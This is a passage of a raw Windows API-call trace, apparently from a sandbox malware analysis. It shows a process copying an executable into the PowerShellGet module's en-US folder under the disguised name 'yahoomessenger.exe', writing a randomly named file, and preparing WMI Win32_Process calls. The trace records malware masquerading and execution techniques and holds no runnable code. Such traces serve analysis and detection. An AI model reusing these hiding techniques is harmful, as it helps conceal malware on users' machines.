lpOldMode=0x1b2fdb38) returned 1 [0064.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0064.876] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f61f0 [0064.876] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.876] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0064.876] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0064.876] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0064.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0064.877] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f61f0 [0064.943] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Format.ps1xml", cAlternateFileName="PSGETF~1.PS1")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1350c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 1 [0064.944] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 0 [0064.944] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0064.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.945] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0064.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe", lpFilePart=0x0) returned 0x5f [0064.946] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\yahoomessenger.exe"), bFailIfExists=0) returned 1 [0065.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\8503bace434a30", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\8503bace434a30", lpFilePart=0x0) returned 0x5b [0065.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0065.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\8503bace434a30" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\8503bace434a30"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x360 [0065.120] GetFileType (hFile=0x360) returned 0x1 [0065.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0065.120] GetFileType (hFile=0x360) returned 0x1 [0065.122] WriteFile (in: hFile=0x360, lpBuffer=0x2ad11b8*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2ad11b8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x285, lpOverlapped=0x0) returned 1 [0065.201] CloseHandle (hObject=0x360) returned 1 [0065.203] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0065.204] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0065.204] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0065.204] IUnknown:Release (This=0x111f638) returned 0x1 [0065.206] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3e6a0) returned 0x0 [0065.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e6a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0065.206] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e6a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b280) returned 0x0 [0065.206] WbemDefPath:IUnknown:Release (This=0x1bf3e6a0) returned 0x0 [0065.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b280) returned 0x0 [0065.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0065.207] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0065.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0065.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0065.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3e6e0) returned 0x0 [0065.207] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e6e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.207] WbemDefPath:IUnknown:Release (This=0x1bf3e6e0) returned 0x3 [0065.207] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0065.208] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0065.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0065.208] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0065.208] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x1 [0065.208] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0065.208] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b280) returned 0x0 [0065.208] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0065.208] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0065.208] WbemDefPath:IWbemPath:SetText (This=0x1bf3b280, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0065.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.208] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0065.209] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0065.209] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.209] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.209] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.209] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0065.209] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0065.209] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0065.209] IUnknown:Release (This=0x111f638) returned 0x1 [0065.211] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf3e720) returned 0x0 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e720, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0065.212] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e720, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b340) returned 0x0 [0065.212] WbemDefPath:IUnknown:Release (This=0x1bf3e720) returned 0x0 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b340) returned 0x0 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0065.212] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0065.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf3e760) returned 0x0 [0065.212] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.212] WbemDefPath:IUnknown:Release (This=0x1bf3e760) returned 0x3 [0065.212] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0065.213] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0065.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0065.213] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0065.213] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0065.213] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0065.213] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b340) returned 0x0 [0065.213] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0065.213] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0065.213] WbemDefPath:IWbemPath:SetText (This=0x1bf3b340, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b340, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b340, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b340, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b340, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b340, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0065.213] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.214] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 